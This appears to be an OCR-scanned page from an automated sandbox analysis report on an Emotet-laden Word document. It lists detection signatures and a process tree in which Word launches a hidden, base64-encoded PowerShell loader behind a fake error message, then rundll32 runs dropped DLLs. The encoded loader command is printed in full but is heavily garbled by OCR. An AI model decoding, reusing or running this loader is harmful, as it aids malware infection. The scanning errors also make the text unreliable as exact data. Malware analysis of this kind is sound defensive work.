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Analysis Report Doc.doc

Overview
General Information Detection Classification
Sample Doc.doc

Name: Antivirus detection for URL or domain

Analysis ID: 337532 MALICIOUS Multi AV Scanner, detection for doma...

MD5: 16f391d60eff19a... Multi AV Scanner detection for dropp...

SHA1L:

58bectBabeadda.. Multi AV Scanner detection for subm...
SHA256: af5c3952d0c7a7a.

Most interesting Screenshot:

Office document tries to convince Vvi...
Snort IDS alert for network traffic (e....

System process connects to networ...

Yara detected Emotet

m Creates processes via WMI
100

Document contains an embedded VB...

Score:

Range: 0-100 Encrypted powershell cmdline option...

Whitelisted:  false

SoeTe Al s Hides that the sample has been dow...

Confidence:  100%

w
«Q
>
2
(=
=
®
(7]

Startup

.

System is w7x64

WINWORD.EXE (PID: 2188 cmdline: 'C:\Program Files\Microsoft Office\Office 14\WINWORD.EXE' /Automation -Embedding MD5: 95C38D04597050285A18F66039EDB456)
cmd.exe (PID: 592 cmdline: cmd cmd cmd cmd /c msg %username% /v Word experienced an error trying to open the file. & POwersheLL -w hidden -ENCOD IAAK
AEYAMgBPAEOAWQBJACAAIAAIACAAWWBOAFKAUABIAFOAKAAIAHSAMgBIAHSAMABIAHSAMWBIAHSAMQBIACIAIAALAEY AIAANAFKAUWBOAGUAJWASACCARABI
AHIAZQBJAFQAbwBYAFKAJWASACCACWANACWAIWBNACA4ASQBPACAAIWAPADSAIAAGACAAIAAWAFMASAAXAGCAMWAJACAAPQAGAFSAVABZAHAARQBIACQAIgB7
ADMAFQB7ADAAFQB7ADIAfQB7ADEAfQB7ADQAFQAIACOARJANAEUAVAAUACCALAANAGMARQBWAESASQBUAFQABQANACWAIWBZAGUACGBWAGKAIWASACCACWBS
AHMAJABIAEOALgBUACCALAANAEEATYBhAECAZQBSACCAKQAJACAAOWAJACAAIJABXAHUADAB3AHKAdWBKADOAKAAOACCAVQANACSAIWBMAGEAJWAPACSAKAAN
AGBACAANACSAIWB2ACCAKQArACCAbQANACKAOWAKAEMANGA3AHKAdgBWAFBAPQAKAECAZWBSAGYAMgBSAGKAIAArACAAWWBJAGYAY QBYAFOAKAA2ADQAKQAgY
ACsAIAAKAEUAMgBJAGKAeABOAGWAOWAKAFMAOAALAGEAZABVAG QAPQAOACIAIWBIACCAKWANAGYABQANACKAKWANADAAIWATACYAIWBUACCAKWANAHEANAAN
ACKAKQA7ACAAKABSAHMAIAA0ACCAdgBBAHIAAQBhACCAKWANAGIATABIADOAZGANACSAIWAYAGBAIWArACCATQB5SAE0AIWAPACAAKQAUAFYAQQBSAHUAZQAGBADOAIgBJAF
IAYABFAGAAQQBJAFQAZQBKAEKACYBIAGMAVABVAHIAWQAIACJAJABIAEBATQBFACAAKWAGACYAKAAOACCANABXADCAQYBXACCAKWANAHAAZQANACKAKWAOAC
CAZQBUACCAKWANADYAJWAPACSAKAANADQACQA3AEIAIWArACCAYJANACSAIWBZACCAKQArACGAIWALIAHCAXWANACSAIWBIACCAKQArACJAIWAOAHEAIJWArACCANWANACKA
KQAAFIARQBWAEWAY QBDAEUAKAANAD QACQANACSAIWA3ZACCAKQASAFSAYWBOAGEAUgBAADKAMgAPACKAOWAKAFMADABLAHEAegA4AGKAPQAOACGAIWBIACCA
KWANAGSACQA4AHUAIWAPACSAIWAZAHJAIWAPADSAIAAGACIARWBIAHQALQB2AEEACYBIAEEAQYBSAEUAIAAOACIAMAAIACSAIgBTAEgAMQAIACSAIgBNADMAIgGAPACAALQ
BWAEEATAB1AGUAbwBUAGWAIAAGACKAOGABACIACWBFAGAAYWBgAFUACYBPAFQAeQBWAHIAbWBUAEBAYWBYAGBATAAIACAAPQAJACIAIWBUAGWAIWATACgAIW
BzADEAJWArACCAMgANACKAKQA7ACQAVWA3AHKACWAZAGWAZAAIACIAKAANAEIANWANACSAIWA3SAHYAIWAPACSAKAANADAAaWANACSAIWB5ACCAKQAPADSAJA
BLAGEAMABIAGSAZgBhACAAPQAgACYAKAANAFKAdgBOAGWAIWArACCAeAANACKAKWANADYACAANACSAIWAODACCAKQA7ACQASABBADUAOQBNADCACgAIACYIAKA
ANAFUAZQANACSAIWBYACCAKQArACgAIWAOACCAKWANAGWAMQANACKAKWANAHAAIWAPADSAJABTAGAANABIAHgAIQBIADOAKAANAFQAMAANACSAIWBFACCAKW
A0ACCcAbgBsACCAKWANADKAXWANACKAKQA7ACQAUABPADKAbgB5AGYACQA9ACQASABPAEOARQAIACJAKAAOACCAQYBEACCAKWANAHKAIWAPACSAKAANAEIACQ
ANACSAIWBWAGUAZQBUACCAKQAIrACCANGANACSAKAANAEIARABSACCAKWANAEIAYJANACKAKWANAHMANQANACSAKAANAHCAIWATACCAXWBIAEIARABSACCAKQAPAC4AIgBY
AGUAYABQAEWAYQBDAGUAIgA0ACYAIWBCACCAKWANAEQAeQANACKALAANAFWAJIWAPACKAKWAKAESAY QAWAGUAawBmMAG EAKWAOACCALGBKACCAKWANAGWADAAN
ACKAOWAKAFCANABYAHcAagASADgAPQA0ACYAIWBLACCAKWANAGIAaABNACCAKQArACCAZWANACSAIWASAHgAIWAPADSAIJABOAGOAOQBKAGMAJABUADOATYBF
AFCcALQBYJAGBAYgBJAGOAZQBYJAGMAVAAGAE4ARQBUACAAVWBFAEIAYWBSAGKARQBOAHQAOWAKAEMAawA4ADEAeAB4ADIAPQA0ACYAIWBOACCAKWAOACCAdAAN
ACsAIWBOAHAAOgBKACCAKQArACgJAKAANACKAIWArACCAKAAZAHMAMANACKAKQArACJAKAANACKAKAANACKAKQArACJAKAANAEOAKQAOACCAKWANADMAJIWAD
ACKAKWAOACgAJWBzADIAIWArACcAKQAOAGIAaQBNACCAKQAPACSAKAANAGWAY QANACSAIWB1AGCAIWAPACSAIWBOACCAKWAOACCACWANACSAIWAUAGBACgBN
ACCAKQArACgAKAANAEOAKQAOACCAKWANADMAIWAPACKAKWAOACGAIWBZACCAKWANADIAKQANACKAKQArACCAKAANACSAKAANAHMAJIWArACCABQBhAGWADAAN
ACKAKWANAHAAIWArACgAIWBVAHQAY QANACSAIWBOAGBAZQANACKAKWAOACYAIWBZAEOAKQANACSAIWAOADMAIWAPACKAKWAOACGAIWBZADIAIWArACCAKQAN
ACKAKQArACgAKAANACYACgANACKAKQArACgAKAANAFIAIWArACCAdWBSAHOAIWArACCAYWBKACKAKAAZAHMAMAPACIAQAANACSAIWBOAHQAIWATACCAdAAN
ACKAKQArACgAKAANAHAAOGBKACCAKWANACKAKAANACKAKQArACCAMWBZACCAKWANADIAIWArACJAKAANACKAKABKACKAIWATACCAKAANACKAKQAIACgAIWAZ
AHMAJIWArACcAMgAnACKAKWAOACgAIWAPACgAagBvACCAKWANAHMAZQBNACCAKWANAGUAJWArACcAbgBIAC4AYWANACKAKQArACgAIwBVACCAKWANAGOASgAN
ACKAKWAOACgAIWAPACgAMWBZACCAKWANADIAKQAOAHQAJWATrACCcAaAANACKAKQArACCcAZQBIACCAKWAOACGAIWBIAE0AKQAOADMAIWAIACCACWAYACCAKQADP
ACsAIJWApPACCAKWAOACGAIWAOACCAKWANAGCAVQALAE0AIWAPACKAKWAOACIAIWAPACYAIWArACCAMWBZADIAIWAPACKAKWAOACGAIWAPACgAIWAIACCAQABO
AHQAJAANACKAKQAFrACgAKAANAHAAIWAIACCAOgBKACKAIWAPACKAKWANACGAIWAIACGAKAANADMACWANACSAIWAYACKAKABKACCAKWANACKAKAAZAHMAJIWAD
ACKAKWAOACgAIWAYACKAKABWAGEAIJWArACCcAdQBsSACCAKWANAHMAIWAPACKAKWAOACCAYWBVACCAKWANAGOACAANACKAKWAOACCAdQBOAGKAIWArACCAbgAN
ACKAKWAOACCAZWAUAGMAJIWArACcAbwANACKAKWAOACGAIWBIACCAKWANAEOAKQAOADMACWAYACKAKAANACKAKQArACgAJWBDACCAKWANAHIAY QBpACCAKQAr
ACgAIWBNACCAKWANAHMATQANACKAKWANAGEAZWANACSAKAANAGKAYWBTAHEAIWArACCAdQBhAHIAZQANACKAKWAOACYAIWBKACKAIWATACCAKAAZAHMAMgApP
ACgASAANACSAIWBKACCAKWANACKAKAANACKAKQArACgAKAANADMAJIWArACcAcWAYACKAKAANACKAKQArACCAQAANACSAIWBOAHQAJIWAIACgAIJWBOACCAKWAN
AHAAcWANACKAKWANADOAIJWArACgAKAANAEOAKQANACSAIJWAOACCAKQAPACSAKAANADMAIWAIrACCACWAYACCAKQArACgAKAANACKAKAANACKAKQArACgAKAAN
AE0AKQA0ACCAKWANADMACWAYACCAKWANACKAKAANACSAIWBNAGBAJWArACcAbABKAGKAbBABVAGMAawANACKAKQArACgAJwBzACCAKWANAHQACgANACKAKWAO
ACCcAYQANACsAIJWBpAG4AaQANACKAKWAOACGAIWBUAGCAIWAIACCALGANACSAIWBJAGBADQBKACKAKAANACSAIWAZACCAKQAPACSAKAAOACCACWAYACKAIWAIACCAKAANAC
kAKQArACgAJWB3AHAAIWArACCcALQANACKAKWAOACCAaQANACSAIWBUAGMAIWAPACSAKAANAGWAIWATACCAdQBKACCAKQArACgAJWBIAHMAJWArACCASgANAC
KAKWANACKAIJWArACCAKAANACSAKAAOACCAMWBZADIAKQANACSAIWACOACCAKWANAGIAZgBOAHQAIJWAPACKAKWAOACYAIWBKACKAKAANACSAIWAZAHMAIWAPAC
KAKWANADIAJWArACgAKAANACKAKAANACSAIWBAAGYAdAANACKAKQATACYJAKAANAHQACABZADOAIWATACCASYAPACCAKQAPACSAKAAOACCAKAAZAHMAIWAIAC
CcAMgApPACgASgANACSAIWAPACGAMWBZACCAKQAPACSAKAAOACCAMgAPACgAagANnACSAIWBIAGYAZgBKACCAKWANAGEAaABSACCAKQAPACSAKAAOACCcAawBIACA4AIWArACCA
YwWBVAGOAIJWArACcASgANACSAIWAPACJAMwBZzADIAKQAOACCAKQAPACSAKAAOACCAYWBZAHMASgANACSAIWAPACCAKQAPACSAKAANACJAMWBZADIAIWATrACCA
KQANACKAKWAOACYAIWAOAGIAZWAOAGAAMWANACSAIWBKACKAKAANACKAKQArACCAMWANACSAKAAOACCACWAYACKAIWAIACCAKABAAGYAJAANACSAIWBOAHAA
JWArACcAOgBKACKAKAANACsAIJWAZACCAKWANAHMAJIWATACCAMgAPACGASgAPACgAIWATACCAMwWBZADIAKQAOACCAKQAPACSAKAANAGEAegANACSAJWBYAGEA
JwWArACcAawBOAG8AIWAPACSAIWBIACCAKWAOACCACgBzACCAKWANACAAYWBVACCAKWANAGOAIWAPACSAKAAOACCASGANACSAIWAPACIAIWAPACKAKWAOACGA
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JwAZAHMAJIWArACcAMgApACgAIWAPACKAKWAOACCAdWANACSAIWBWACOAYWANACSAIWBVAGAAJABIACCAKQArACcAbgANACSAIWBOAEOAIWArACgAKAANACKAKAANACKAKQ
ArACgAKAANADMACWANACsAIWAYACKAKAANACSAIWBOAFCARgGANACKAKQArACgAKAANADKkAagANnACsAIJWBDAEOAKQANACKAKQArACgAKAANACGAIWArACCAMwW
BzADIAKQAOACCAKWANAEAAIWArACcAaABOAHQACAANACKAKQArACgAKAANADOASgAPACCAKWANACgAMWANACSAIwBZzADIAIJWAPACKAKWAOACGAIWAPACYASY
AnACsAIJWApACgAMWANACKAKQArACcAcwAYACCAKWAOACGAIWAPACIAIWAPACKAKWAOACCAZWBVAGWAZABJAGBAIWArACCAY QBzACCAKQArACgAIJWBOAGBAZg
AnACsAIJWBMACCAKQArACgAIWBpAGMAJIWAIrACCcAZQAzZADYANQANACSAIWAUAGMAbwWANACKAKWAOACGAIWBIAEOAIWATACCAKQAOACCAKQAPACSAIWAZAHMAIW
ArACgAKAANADIAKQAOAHQAZQBtAHAAIWArACCASgApACgAMWANACSAIWBzADIAKQAOAFgASgAPACCAKWANACgJAMWBZACCAKQAPACSAKAAOACCAMgANACSAIW
ApPACgAIWAPACKAKQAPAC4AIgBSAGUAYABWAGAABABhAGMARQAIACJAKAAOACCASYANACSAKAAOACCAKQAOACCAKWANADMAIWAPACKAKWAOACYAIWBZACCAKW
ANADIAKQAOACCAKQAPACKAKQASACGAWWBhAHIACgBhAHKAXQAOACCALWANACKALAAOACCAaAB3ACCAKWANAGUAIWAPACKAWWAWAFOAKQAUACIACWBgAHAADA
BJAHQAIgA0OACQAQWBKADKACWB4ADMAYWAJACSAIAAKAEMANGA3AHKAdgBWAFBAIAATACAAIJABRAGYAaABOADCAZQBPACKAOWAKAEQAY QA4AHMAaQAOADAAPQ
AOACCATQAZACCAKWAOACCAeQB3AGAANWANACSAIWBYACCAKQAPADSAZGBVAHIAZQBhAGMAaAAgACJAJABLADQAYWBIAGoAawBgACAAaQBUACAAIJABDAGSAOA
AXAHgAeAAYyACAATAAGAFMAbWBYAFQAYAALAGBAYgBJAGUAYABJAFQAIAB7AECARQBUAGAALQBYAFIAYABBAE4AZABVAEOATQAPAHSAJABYAHKAeWAKAE4ADQ
ASAGQAYWBOAG4ALgAIAEQAbWBXAGAATYgBMAGAAbBWBBAGQAZgBYAGKADABIACIAKAAKAESANABJAGUAagBrAGoALAAgACQAUABPADKAbgBSAGYACQAPADSAJA
BJAGYAagBpAF8AcWALADOAKAANAFQAMIANACSAIWAWACCAKWAOACCAYWAYAHOAIWArACCAZQANACKAKQA7AEKAZGAGACIAKAAUACIAIWBHAGUAJAALAEKAIW
ArACcAdAANACSAIWBIAGOAIWAPACAAIABQAGKAOQBUAHKAZGBXACKALGAIAGWARQBYAE4ARWBUAGgAIGAgACOAZWBIACAAMWALIADUANGASACKAIAB7ACAAKAANAHIAIQAN
ACsAIWBUAGQAJIWArACCAbABSADMAMgANACKAIAAKAFAAaQASAG4AeQBMAHEALAANACMAMQANAC4AIgBUAEBAUWBGAFQAUYBYAEKATYBNACIAKAAPADSAJABK
AGIAZgBhAGYAdwBSADOAKAANAEUAY QANACSAIWA3AGQAIWArACGAIWBYAGAAIWAIACCAMWANACKAKQAT7AGIACgBIAGEAawA7ACQASYA4ADIANWBhADYAdWAY
ACgAIWBVACCAKWAOACCAMgBzADYAOABIACCAKWANADQAJIWAPACKAIQBIAGMAY QBOAGMAaAB7AHOAFQAKAEOAMWBhADUABAALIAGCAPQAOACJAIWBZACCAKWAN
AGQANQBzADKAIJWAPACSAIWBhAGSAIWAPAA== MD5: 5746BD7E255DD6A8BAFA06F7C42C1BA41)
e [m] msg.exe (PID: 2504 cmdline: msg user /v Word experienced an error trying to open the file. MD5: 2214979661E779C3E3C33D4F14E6F3AC)
e 4 powershell.exe (PID: 2408 cmdline: POwersheLL -w hidden -ENCOD IAAKAEY AMgBPAEOAWQBQACAAIAAIACAAWWBOAFKAUABIAFOAKAAIAHSAMgB9AHSA
MABYAHSAMWBIAHSAMQBOACIAIAAtAEY AIAANAFKAUWBOAGUAJWASACCARABJIAHIAZ QBJAFQAbWBYAFKAIWASACCACWANACWAIWBNACAASQBPACAAIWAPADSA
IAAgACAAIAAWAFMASAAXAGCAMWAGACAAPQAGAFSAVABZAHAARQBIACYAIgB7ADMATQB7ADAAfQB7ADIAfQB7ADEAfQB7ADQAfQAIACOARJANAEUAVAAUACCA

LAANAGMARQBWAEBASQBUAFQABQANACWAIWBZAGUACgBWAGKAJWASACCACWB5AHMAJABIAEOALYBUACCALAANAEEATYBhAECAZQBSACCAKQAJACAAOWAJACAA
JABXAHUADBAB3AHKAdWBKADOAKAAOACCAVQANACSAIWBMAGEAIJWAPACSAKAANAGBACAANACSAIWB2ACCAKQArACCAbQANACKAOWAKAEMANGA3AHKAdgBWAFSA
PQAKAECAZWBSAGgAMgBSAGKAIAATACAAWWBIAGGAY QBYAFOAKAA2ADQAKQAGACSAIAAKAEUAMBJAGKkAeABOAGWAOWAKAFMAOAALIAGEAZABVAG QAPQAOACYA
JWBJACCAKWANAGYAbBQANACKAKWANADAAIWATACYAIWBUACCAKWANAHEANAANACKAKQA7ACAAKABSAHMAIAAOACCAdgBBAHIAaQBhACCAKWANAGIATABIADOA
ZgAnACSAIWAYAGBAIWArACCATQBSAE0AIWAPACAAKQAUAFYAQQBSAHUAZQABADOAIgBJAFIAYABFAGAAQQBJAFQAZQBKAEKACYBIAGMAVABVAHIAWQAIACGA
JABIAEBATQBFACAAKWAGACYAKAAOACCANABXADCAQYBXACCAKWANAHAAZQANACKAKWAOACCAZQBUACCAKWANADYAIJWAPACSAKAANADQACQASAEIAJWAIrACCA
YgANACsAIWBZACCAKQArACgAIWALAHCAXWANACSAIWBIACCAKQArACgAIWAOAHEAIWATACCANWANACKAKQALAFIARQBWAEWAY QBDAEUAKAANAD QACQANACSA
JWA3ACCAKQASAFSAYWB0OAGEAUgBAADKAMgAPACKAOWAKAFMABAB1IAHEAegA4AGKAPQAOACYAIWBIACCAKWANAGSACQA4AHUAIWAPACSAIWASAHGAIWAPADSA
IAAgACgARWBIAHQALQB2AEEACgBJAEEAQYBSAEUAIAAOACIAMAAIACSAIgBTAEgAMQAIACSAIgBNADMAIgAPACAALQBWAEEATABLAGUAbWBUAGWAIAAgACKA
OgABACIACWBFAGAAYWBJAFUACYBpAFQAeQBWAHIAbWBUAEBAYWBJAGBATAAIACAAPQAJACIAIWBUAGWAJIWAIACGAIWBZADEAIWAIACCAMgANACKAKQA7ACQA
VWA3AHKACWAZAGWAZAAIACIAKAANAEIANWANACSAIWASAHY AIWAPACSAKAANADAAaWANACSAIWB5ACCAKQAPADSAJABLAGEAMABIAGSAZgBhACAAPQAJACGA
KAANAFKAdgBOAGWAJWArACCAeAANACKAKWANADYACAANACSAIWAOACCAKQA7ACQASABBADUAOQBNADCACgAIACIAKAANAFUAZQANACSAIWBYACCAKQAIACGA
JWAOACCAKWANAGWAMQANACKAKWANAHAAIWAPADSAJABTAG4ANABIAHGAdQBIADOAKAANAFQAMAANACSAIWBfACCAKWAOACCAbgBSACCAKWANADKAXWANACKA
KQA7ACQAUABPADKAbgB5AGYACQAIACQASABPAEOARQAIACJAKAAOACCAQYBEACCAKWANAHKAIWAPACSAKAANAEIACQANACSAIWBWAGUAZQBUACCAKQArACCA
NgANACSAKAANAEIARABSACCAKWANAEIAY gANACKAKWANAHMANQANACSAKAANAHCAIWATACCAXWBIAEIARABSACCAKQAPACAAIgBYAGUAYABQAEWAYQBDAGUA
1IgA0ACgAIWBCACCAKWANAEQAeQANACKALAANAFWAJWAPACKAKWAKAESAY QAWAGUAawBmMAG EAKWAOACCALGBKACCAKWANAGWAbBAANACKAOWAKAFCANABYAHCA
agASADgAPQA0ACYAIWBLACCAKWANAGIAaABNACCAKQAIACCAZWANACSAIWASAHGAIWAPADSAJABOAGOAOQBKAGMAJABUADOATYBFAFCALQBYAGBAYgBJAGOA
ZQBgAGMAVAAJAE4ARQBUAC4AVWBFAEIAYWBSAGKARQBOAHQAOWAKAEMAawA4ADEAeABA4ADIAPQA0ACAIWBOACCAKWAOACCAJAANACSAIWBOAHAAOGBKACCA
KQArACgAKAANACKAJWArACCAKAAZAHMAMYANACKAKQArACgJAKAANACKAKAANACKAKQArACgAKAANAEOAKQAOACCAKWANADMAIWAPACKAKWAOACGAIWBZADIA
JWArACcAKQAO0AGIAaQBNACCAKQAPACSAKAANAGWAY QANACSAIWBIAGCAIWAPACSAIWBOACCAKWAOACCACWANACSAIWAUAGBACGBNACCAKQArACgAKAANAEOA
KQAOACCAKWANADMAIWAPACKAKWAOACGAIWBZACCAKWANADIAKQANACKAKQArACCAKAANACSAKAANAHMAJIWAIACCABQBhAGWABAANACKAKWANAHAAIWATACGA
JWBVAHQAYQANACSAIWBOAGBAZQANACKAKWAOACYAIWBZAEOAKQANACSAIWAOADMAIWAPACKAKWAOACYAIWBZADIAIWAIACCAKQANACKAKQAIACGAKAANACHA
cgANACKAKQArACgAKAANAFIAJWArACCAdWBSAHOAIJWAIACCAYWBKACKAKAAZAHMAMGAPACIAQAANACSAIWBOAHQAIWArACCAJAANACKAKQAIrACGAKAANAHAA
OgBKACCAKWANACKAKAANACKAKQArACCAMWBZACCAKWANADIAJWArACgAKAANACKAKABKACKAIJWArACCAKAANACKAKQArACgAIWAZAHMAIWArACCAMgANACKA
KwA0ACgAIWApPACgAagBvACCAKWANAHMAZQBNACCAKWANAGUAJIWArACcAbgBIAC4AYWANACKAKQArACgAIJWBVACCAKWANAGOASgANACKAKWAOACGAIJWAPACGA
MwBzACcAKWANADIAKQAOAHQAJWArACCcAaAANACKAKQArACcAZQBIACCAKWAOACGAIWBIAE0AKQAOADMAIWAIACCACWAYACCAKQAPACSAIWAPACCAKWAOACGA
JWAOACCAKWANAGCAVQALAE0AIWAPACKAKWAOACIAIWAPACIAIWAIACCAMWBZADIAIWAPACKAKWAOACGAIWAPACGAIWATACCAQABOAHQAJAANACKAKQArACgA
KAANAHAAJIWArACcAOgBKACKAJWAPACKAKWANACgAIWArACgAKAANADMACWANACSAIWAYACKAKABKACCAKWANACKAKAAZAHMAIWAPACKAKWAOACGAIWAYACKA
KABWAGEAJWArACcAdQBsACCAKWANAHMAJIWAPACKAKWAOACCAYWBVACCAKWANAGOACAANACKAKWAOACCAdQBOAGKAIWArACCAbgANACKAKWAOACCAZWAUAGMA
JwWArACcAbwANnACKAKWAOACgAIWBIACCAKWANAEOAKQAOADMACWAYACKAKAANACKAKQArACgAIJWBDACCAKWANAHIAY QBpACCAKQArACgAIWBNACCAKWANAHMA
TQANACKAKWANAGEAZWANACSAKAANAGKAYWBTAHEAIWArACCAdQBhAHIAZQANACKAKWAOACYAIWBKACKAIWATACCAKAAZAHMAMgAPACYASAANACSAIWBKACCA
KwANACKAKAANACKAKQArACgAKAANADMAJIWArACcAcWAYACKAKAANACKAKQArACCAQAANACSAIWBOAHQAJIWArACgAIWBOACCAKWANAHAACWANACKAKWANADOA
JWArACgAKAANAEOAKQANACSAIWAOACCAKQAPACSAKAANADMAJIWArACCcACWAYACCAKQArACgJAKAANACKAKAANACKAKQATACgAKAANAEOAKQAOACCAKWANADMA
cwAYACCAKWANACKAKAANACSAIWBNAG8AIWArACcAbABKAGKABABVAGMAawANACKAKQArACgAJwBzACCAKWANAHQACYANACKAKWAOACCAY QANACSAIJWBPAGAA
aQANACKAKWAOACGAIWBUAGCAIWArACCALgANACSAIWBJAGBAbQBKACKAKAANACSAIWAZACCAKQAPACSAKAAOACCACWAYACKAIWATACCAKAANACKAKQArACgA
JwB3AHAAIJWAIrACCALQANACKAKWAOACCAaQANACSAIWBUAGMAJIWAPACSAKAANAGWAIWATIACCAdQBKACCAKQArACgAIWBIAHMAIWArACCASgANACKAKWANACKA
JWArACCAKAANACSAKAAOACCAMWBZADIAKQANACSAIWAOACCAKWANAGIAZgBOAHQAIWAPACKAKWAOACIAIWBKACKAKAANACSAIWAZAHMAIWAPACKAKWANADIA
JWArACgAKAANACKAKAANACSAIWBAAGGAJAANACKAKQATACgAKAANAHQACABZADOAIWArACCASgAPACCAKQAPACSAKAAOACCAKAAZAHMAJIWAIACCAMgAPACGA
SgANACSAIWAPACgAMWBZACCAKQAPACSAKAAOACCAMgAPACgAagANACSAIWBIAGYAZgBKACCAKWANAGEAaABSACCAKQAPACSAKAAOACCcAawBIACA4AIWArACCA
YwWBVAGOAIJWArACcASgANACSAIWAPACJAMwWBZzADIAKQAOACCAKQAPACSAKAAOACCAYWBZAHMASGANACSAIWAPACCAKQAPACSAKAANACJAMWBZADIAIWATACCA
KQANACKAKWAOACYAIWAOAGIAZWAOAGAAMWANACSAIWBKACKAKAANACKAKQArACCAMWANACSAKAAOACCACWAYACKAIWAIACCAKABAAGYAJAANACSAIWBOAHAA
JWArACcAOgBKACKAKAANACsAIJWAZACCAKWANAHMAJIWATACCAMgAPACgASgAPACgAIWATACCAMwWBZADIAKQAOACCAKQAPACSAKAANAGEAegANACSAJWBYAGEA
JwWArACcAawBOAG8AJWAPACSAIWBIACCAKWAOACCACgBzZACCAKWANACAAYWBVACCAKWANAGOAIWAPACSAKAAOACCASGANACSAIWAPACIAIWAPACKAKWAOACGA
JwAZAHMAJIWArACcAMgApACgAIWAPACKAKWAOACCAdWANACSAIWBWACOAYWANACSAIWBVAGAAJABIACCAKQArACcAbgANACSAIWBOAEOAIWArACgAKAANACKA
KAANACKAKQArACgAKAANADMACWANACSAIWAYACKAKAANACSAIWBOAFCARGANACKAKQArACJAKAANADKAagANACSAIWBDAEOAKQANACKAKQArACJAKAANACGA
JWArACcAMwBZzADIAKQAOACCAKWANAEAAIWArACcAaABOAHQACAANACKAKQArACgAKAANADOASGAPACCAKWANACgAMWANACSAIwWBZzADIAIJWAPACKAKWAOACGA
JWAPACgASgANACSAIWAPACgJAMWANACKAKQArACcAcwAYACCAKWAOACgAIWAPACIAIWAPACKAKWAOACCAZWBVAGWAZABJAGBAIWArACCAYQBZzACCAKQArACgA
JWBOAGBAZgANACSAIWBMACCAKQArACJAIWBPAGMAIWAIACCAZQAZADYANQANACSAIWAUAG MAbWANACKAKWAOACGAIWBIAEOAIWATACCAKQAOACCAKQAPACSA
JWAZAHMAIWArACgAKAANADIAKQAOAHQAZQBtAHAAIWAIACCASIAPACIAMWANACSAIWBZADIAKQAOAFgASYAPACCAKWANACGAMWBZACCAKQAPACSAKAAOACCA
MgANACSAIWAPACYAIWAPACKAKQAPACAAIgBSAGUAYABWAGAABABhAGMARQAIACJAKAAOACCASYANACSAKAAOACCAKQAOACCAKWANADMAIWAPACKAKWAOACA
JwBzACCAKWANADIAKQAOACCAKQAPACKAKQASACgJAWWBhAHIAcgBhAHKAXQAOACCALWANACKALAAOACCAaAB3ACCAKWANAGUAIWAPACKAWWAWAFOAKQAUACIA
cwBgAHAADABIAHQAIGAOACQAQWBKADKACWBAADMAYWAJACSAIAAKAEMANGA3AHKAdgBWAFBAIAATACAAIJABRAGYAaABOADCAZQBPACKAOWAKAEQAY QA4AHMA
aQAOADAAPQAOACCATQAZACCAKWAOACCAeQB3AGAANWANACSAIWBYACCAKQAPADSAZGBVAHIAZQBhAGMAaAAGACYAJABLADQAYWBIAGoAawBgACAAaQBUACAA
JABDAGSAOAAXAHgAeAAYACAATAAGAFMAbWBYAFQAYAALAGBAYgBGAGUAYABJAFQAIAB7AECARQBUAGAALQBJIAFIAYABBAE4AZ ABVAEOAFQAPAHSAJABYAHKA
eWAKAE4AbQASAGQAYWBOAGAALGAIAEQAbBWBXAGAATGBMAGAAbWBBAGQAZgBYAGKADABIACIAKAAKAESANABJAGUAagBrAGoALAAGACQAUABPADKAbgB5AGYA
cQApADSAJABIAGYAagBpAFSAcWALIADOAKAANAFQAMYANACSAIWAWACCAKWAOACCAYWAYAHOAIWATACCAZQANACKAKQA7AEKAZGAgACIJAKAAUACJAIWBHAGUA

dAAAEKAIWATACCAdAANACSAIWBIAGOAIWAPACAAIABQAGKAOQBUAHKAZgBXACKALgAIAGWARQBGAE4ARWBUAGQAIgGAgACOAZWBIACAAMWALADUANGASACKA
|IAB7AC4AKAANAHIAAQANACSAIWBUAG QAJWAIrACcAbABSADMAMgANACKAIAAKAFAAaQASAG4AeQBMAHEALAANACMAMQANAC4AIgBUAESBAUWBgAFQAUgBgAEKA
TgBnACIAKAApADSAJABKAGIAZgBhAGYAdwBsSADOAKAANAEUAY QANACSAIWA3AGQAIWATACgAIWBYAGAAIWAIACCAMWANACKAKQA7AGIACgBIAGEAawA7ACQA
SgA4ADIANWBhADYAdwWA9ACgAIWBVACCAKWAOACCAMgBzADYAOABIACCAKWANADQAJWAPACKAFQBIAGMAY QBOAGMAaAB7AHOAfQAKAEOAMWBhADUADAALAGCA
PQAO0ACgAIWBZACCAKWANAGQANQBZzADKAIWAPACSAIWBhAGSAIWAPAA== MD5: 852D67A27E454BD389FA7F02A8CBE23F)
. D rundll32.exe (PID: 2532 cmdline: 'C:\Windows\system32\rundll32.exe’ C:\Users\user\Bgpeen6\Bbs5w_e\Yvtlx6p4.dll #1 MD5: DD81D91FF3B0763C392422865C9AC12E)
. D rundll32.exe (PID: 2340 cmdline: 'C:\Windows\system32\rundll32.exe' C:\Users\user\Bgpeen6\Bbs5w_e\Yvtlx6p4.dil #1 MD5:
51138BEEA3E2C21EC44D0932C71762A8)
. D rundll32.exe (PID: 2336 cmdline: C:\Windows\SysWOW64\rundlI32.exe 'C:\Windows\SysWOW64\Lkvi\ejghpm.twa',RunDLL MD5:
51138BEEA3E2C21EC44D0932C71762A8)
. ﬁ rundll32.exe (PID: 2816 cmdline: C:\Windows\SysWOW64\rundlI32.exe 'C:\Windows\SysWOW64\Yffe\xmxs.xtt', RunDLL MD5:
Copyright null 2021 Page 7 of 71



= cleanup

5—11388EEA3E2C21EC44D0932C71762A8)
. D rundll32.exe (PID: 2760 cmdline: C:\Windows\SysWOW64\rundlI32.exe 'C:\Windows\SysWOW64\Y xkq\vxcyp.vst',RunDLL MD5:
51138BEEA3E2C21EC44D0932C71762A8)
. D rundll32.exe (PID: 2824 cmdline: C:\Windows\SysWOW&64\rundlI32.exe 'C:\Windows\SysWOW64\Glgl\mritqo.dtl', RunDLL MD5:
51138BEEA3E2C21EC44D0932C71762A8)
. D rundll32.exe (PID: 2460 cmdline: C:\Windows\SysWOW64\rundlI32.exe 'C:\Windows\SysWOW64\XII\midsk.ptl',RunDLL MD5:
51138BEEA3E2C21EC44D0932C71762A8)
. D rundll32.exe (PID: 1492 cmdline: C:\Windows\SysWOW64\rundlI32.exe 'C:\Windows\SysWOW64\Qpvq\ojxkj.pge’,RunDLL MD5:
51138BEEA3E2C21EC44D0932C71762A8)
. D rundll32.exe (PID: 2800 cmdline: C:\Windows\SysWOW&64\rundlI32.exe 'C:\Windows\SysWOW64\Qfbx\wpmmbwy.jek’,RunDLL MD5:
51138BEEA3E2C21EC44D0932C71762A8)
. D rundll32.exe (PID: 3032 cmdline: C:\Windows\SysWOW64\rundlI32.exe 'C:\Windows\SysWOW64\Ljbn\kwuw.ehe',RunDLL MD5:
51138BEEA3E2C21EC44D0932C71762A8)
